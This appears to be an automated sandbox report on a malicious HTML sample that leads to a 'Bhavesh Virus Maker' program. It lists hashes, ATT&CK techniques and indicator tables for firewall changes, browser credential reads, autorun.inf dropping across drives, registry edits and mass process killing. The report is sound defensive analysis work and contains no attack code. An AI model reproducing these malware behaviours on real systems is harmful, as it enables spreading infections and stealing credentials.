3464373dc628c72a680e4c69c3dd73c3aea0f66a8b509933f5818e516fc03985

Analysis

max time kernel
900s
max time network
1176s
platform
windows11-21h2_x64
resource
win11-20240508-en
resource tags

arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
submitted
24-05-2024 18:18

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

sample.html
Size

16KB
MD5

3a8fb09f8cfd8c9012520e9d45f961ba
SHA1

faba2dba5063476f5f8742932963249d81c5c0cb
SHA256

3464373dc628c72a680e4c69c3dd73c3aea0f66a8b509933f5818e516fc03985
SHA512

d144ba21d218fd3f77f66665577c40c048c4bc6f30efa1ad3b2e3ecc9d95eeb425dd2b02243b20410a3c3c6bf2625c342e6f6299ba48c49c648f7e2ea14d49d4
SSDEEP

192:x4ufWIyc+MDg9PxUfrULIAFCy8GAGYoQN6S5+MO2FHB/ibLDiTkok:x0Vig9pUfrUz8GAGM6O+x2V1i/DiTkn

Score

8^/10

evasion spyware stealer

Malware Config

Signatures

Modifies Windows Firewall 2 TTPs 2 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exenetsh.exe

pid process

4456 netsh.exe
2420 netsh.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

pid	process
4456	netsh.exe
2420	netsh.exe

Drops autorun.inf file 1 TTPs 64 IoCs

Malware can abuse Windows Autorun to spread further via attached volumes.

Replication Through Removable Media

T1091

Processes:

cmd.execmd.exe

description	ioc	process
File created	\??\X:\autorun.inf	cmd.exe
File created	\??\K:\autorun.inf	cmd.exe
File opened for modification	\??\Q:\autorun.inf	cmd.exe
File opened for modification	\??\R:\autorun.inf	cmd.exe
File created	\??\W:\autorun.inf	cmd.exe
File created	\??\H:\autorun.inf	cmd.exe
File opened for modification	\??\E:\autorun.inf	cmd.exe
File created	\??\U:\autorun.inf	cmd.exe
File created	\??\H:\autorun.inf	cmd.exe
File created	\??\S:\autorun.inf	cmd.exe
File opened for modification	\??\T:\autorun.inf	cmd.exe
File opened for modification	F:\autorun.inf	cmd.exe
File opened for modification	\??\X:\autorun.inf	cmd.exe
File opened for modification	\??\W:\autorun.inf	cmd.exe
File created	\??\P:\autorun.inf	cmd.exe
File created	\??\R:\autorun.inf	cmd.exe
File opened for modification	\??\I:\autorun.inf	cmd.exe
File created	\??\T:\autorun.inf	cmd.exe
File created	\??\A:\autorun.inf	cmd.exe
File opened for modification	D:\autorun.inf	cmd.exe
File opened for modification	F:\autorun.inf	cmd.exe
File created	\??\X:\autorun.inf	cmd.exe
File opened for modification	\??\Z:\autorun.inf	cmd.exe
File created	\??\A:\autorun.inf	cmd.exe
File opened for modification	\??\P:\autorun.inf	cmd.exe
File opened for modification	\??\G:\autorun.inf	cmd.exe
File opened for modification	\??\J:\autorun.inf	cmd.exe
File created	\??\V:\autorun.inf	cmd.exe
File created	\??\Y:\autorun.inf	cmd.exe
File created	\??\J:\autorun.inf	cmd.exe
File opened for modification	\??\T:\autorun.inf	cmd.exe
File created	C:\autorun.inf	cmd.exe
File created	\??\L:\autorun.inf	cmd.exe
File created	\??\O:\autorun.inf	cmd.exe
File opened for modification	\??\U:\autorun.inf	cmd.exe
File created	\??\W:\autorun.inf	cmd.exe
File created	\??\G:\autorun.inf	cmd.exe
File opened for modification	\??\L:\autorun.inf	cmd.exe
File created	\??\J:\autorun.inf	cmd.exe
File created	\??\K:\autorun.inf	cmd.exe
File created	\??\Q:\autorun.inf	cmd.exe
File opened for modification	\??\V:\autorun.inf	cmd.exe
File created	\??\E:\autorun.inf	cmd.exe
File created	\??\R:\autorun.inf	cmd.exe
File opened for modification	\??\W:\autorun.inf	cmd.exe
File created	\??\Z:\autorun.inf	cmd.exe
File opened for modification	\??\B:\autorun.inf	cmd.exe
File opened for modification	D:\autorun.inf	cmd.exe
File created	\??\E:\autorun.inf	cmd.exe
File opened for modification	\??\H:\autorun.inf	cmd.exe
File opened for modification	\??\Q:\autorun.inf	cmd.exe
File created	\??\N:\autorun.inf	cmd.exe
File created	\??\T:\autorun.inf	cmd.exe
File opened for modification	C:\autorun.inf	cmd.exe
File opened for modification	\??\L:\autorun.inf	cmd.exe
File created	D:\autorun.inf	cmd.exe
File opened for modification	\??\P:\autorun.inf	cmd.exe
File created	\??\I:\autorun.inf	cmd.exe
File opened for modification	\??\X:\autorun.inf	cmd.exe
File created	\??\Z:\autorun.inf	cmd.exe
File opened for modification	\??\B:\autorun.inf	cmd.exe
File created	\??\P:\autorun.inf	cmd.exe
File created	\??\U:\autorun.inf	cmd.exe
File opened for modification	\??\M:\autorun.inf	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

msedge.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 58 IoCs

Processes:

Bhavesh Virus Maker.exemsedge.exeMiniSearchHost.exemsedge.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	Bhavesh Virus Maker.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	Bhavesh Virus Maker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\MRUListEx = ffffffff	Bhavesh Virus Maker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\Mode = "4"	Bhavesh Virus Maker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByDirection = "1"	Bhavesh Virus Maker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202020202020202	Bhavesh Virus Maker.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Bhavesh Virus Maker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\LogicalViewMode = "1"	Bhavesh Virus Maker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\FFlags = "1092616257"	Bhavesh Virus Maker.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	Bhavesh Virus Maker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	Bhavesh Virus Maker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	Bhavesh Virus Maker.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\2	Bhavesh Virus Maker.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg	Bhavesh Virus Maker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\FFlags = "1"	Bhavesh Virus Maker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1"	Bhavesh Virus Maker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	Bhavesh Virus Maker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	Bhavesh Virus Maker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\2\NodeSlot = "10"	Bhavesh Virus Maker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	Bhavesh Virus Maker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	Bhavesh Virus Maker.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	Bhavesh Virus Maker.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1	Bhavesh Virus Maker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202020202	Bhavesh Virus Maker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\Shell\SniffedFolderType = "Documents"	Bhavesh Virus Maker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1 = 14002e80922b16d365937a46956b92703aca08af0000	Bhavesh Virus Maker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByKey:PID = "0"	Bhavesh Virus Maker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1\NodeSlot = "6"	Bhavesh Virus Maker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 020000000100000000000000ffffffff	Bhavesh Virus Maker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02020202020202020202	Bhavesh Virus Maker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0000000001000000ffffffff	Bhavesh Virus Maker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	Bhavesh Virus Maker.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings	Bhavesh Virus Maker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 0100000000000000ffffffff	Bhavesh Virus Maker.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\Shell	Bhavesh Virus Maker.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	Bhavesh Virus Maker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\2\MRUListEx = ffffffff	Bhavesh Virus Maker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\Shell\SniffedFolderType = "Generic"	Bhavesh Virus Maker.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	Bhavesh Virus Maker.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}	Bhavesh Virus Maker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupView = "0"	Bhavesh Virus Maker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	Bhavesh Virus Maker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	Bhavesh Virus Maker.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\MuiCache	MiniSearchHost.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3001105534-2705918504-2956618779-1000\{182721A0-FE68-4FCD-B4FD-FE1CDB9EE583}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6	Bhavesh Virus Maker.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10	Bhavesh Virus Maker.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\Shell	Bhavesh Virus Maker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	Bhavesh Virus Maker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	Bhavesh Virus Maker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202020202	Bhavesh Virus Maker.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Bhavesh Virus Maker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\IconSize = "16"	Bhavesh Virus Maker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\10\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257"	Bhavesh Virus Maker.exe
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg	Bhavesh Virus Maker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	Bhavesh Virus Maker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\2 = 3a002e803accbfb42cdb4c42b0297fe99a87c641260001002600efbe110000004fe64bd547a1da0105a672d747a1da01c6bf36da47a1da0114000000	Bhavesh Virus Maker.exe

NTFS ADS 1 IoCs

Processes:

msedge.exe

description ioc process

File opened for modification C:\Users\Admin\Downloads\Bhavesh Virus Maker v1.0.0.1.zip:Zone.Identifier msedge.exe
Runs .reg file with regedit 1 IoCs

Processes:

regedit.exe

pid process

3128 regedit.exe
Runs net.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Downloads\Bhavesh Virus Maker v1.0.0.1.zip:Zone.Identifier	msedge.exe

pid	process
3128	regedit.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

msedge.exemsedge.exeidentity_helper.exemsedge.exemsedge.exemsedge.exetskill.exetskill.exetskill.exetskill.exetskill.exetskill.exetskill.exetskill.exetskill.exetskill.exetskill.exetskill.exetskill.exetskill.exetskill.exetskill.exetskill.exetskill.exetskill.exetskill.exetskill.exetskill.exetskill.exetskill.exetskill.exetskill.exe

pid	process
260	msedge.exe
260	msedge.exe
1196	msedge.exe
1196	msedge.exe
2120	identity_helper.exe
2120	identity_helper.exe
1980	msedge.exe
1980	msedge.exe
3208	msedge.exe
3208	msedge.exe
2788	msedge.exe
2788	msedge.exe
4644	tskill.exe
4644	tskill.exe
2056	tskill.exe
2056	tskill.exe
3336	tskill.exe
3336	tskill.exe
3492	tskill.exe
3492	tskill.exe
1068	tskill.exe
1068	tskill.exe
1380	tskill.exe
1380	tskill.exe
4076	tskill.exe
4076	tskill.exe
1552	tskill.exe
1552	tskill.exe
1392	tskill.exe
1392	tskill.exe
804	tskill.exe
804	tskill.exe
2072	tskill.exe
2072	tskill.exe
3728	tskill.exe
3728	tskill.exe
880	tskill.exe
880	tskill.exe
3200	tskill.exe
3200	tskill.exe
1016	tskill.exe
1016	tskill.exe
888	tskill.exe
888	tskill.exe
3232	tskill.exe
3232	tskill.exe
5116	tskill.exe
5116	tskill.exe
2780	tskill.exe
2780	tskill.exe
1924	tskill.exe
1924	tskill.exe
2044	tskill.exe
2044	tskill.exe
3972	tskill.exe
3972	tskill.exe
2364	tskill.exe
2364	tskill.exe
4868	tskill.exe
4868	tskill.exe
3160	tskill.exe
3160	tskill.exe
3512	tskill.exe
3512	tskill.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Bhavesh Virus Maker.exe

pid process

4320 Bhavesh Virus Maker.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 21 IoCs

Processes:

msedge.exe

pid	process
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe

Suspicious use of FindShellTrayWindow 47 IoCs

Processes:

msedge.exeBhavesh Virus Maker.exe

pid	process
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
4320	Bhavesh Virus Maker.exe
4320	Bhavesh Virus Maker.exe

Suspicious use of SendNotifyMessage 18 IoCs

Processes:

msedge.exeBhavesh Virus Maker.exe

pid	process
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
1196	msedge.exe
4320	Bhavesh Virus Maker.exe
4320	Bhavesh Virus Maker.exe

Suspicious use of SetWindowsHookEx 11 IoCs

Processes:

Bhavesh Virus Maker.exeMiniSearchHost.exe

pid	process
4320	Bhavesh Virus Maker.exe
4320	Bhavesh Virus Maker.exe
4320	Bhavesh Virus Maker.exe
4320	Bhavesh Virus Maker.exe
4320	Bhavesh Virus Maker.exe
4320	Bhavesh Virus Maker.exe
4320	Bhavesh Virus Maker.exe
4320	Bhavesh Virus Maker.exe
4320	Bhavesh Virus Maker.exe
4320	Bhavesh Virus Maker.exe
4756	MiniSearchHost.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

msedge.exe

description	pid	process	target process
PID 1196 wrote to memory of 3968	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 3968	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 2420	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 260	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 260	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 4704	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 4704	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 4704	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 4704	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 4704	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 4704	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 4704	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 4704	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 4704	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 4704	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 4704	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 4704	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 4704	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 4704	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 4704	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 4704	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 4704	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 4704	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 4704	1196	msedge.exe	msedge.exe
PID 1196 wrote to memory of 4704	1196	msedge.exe	msedge.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\sample.html
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1196

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
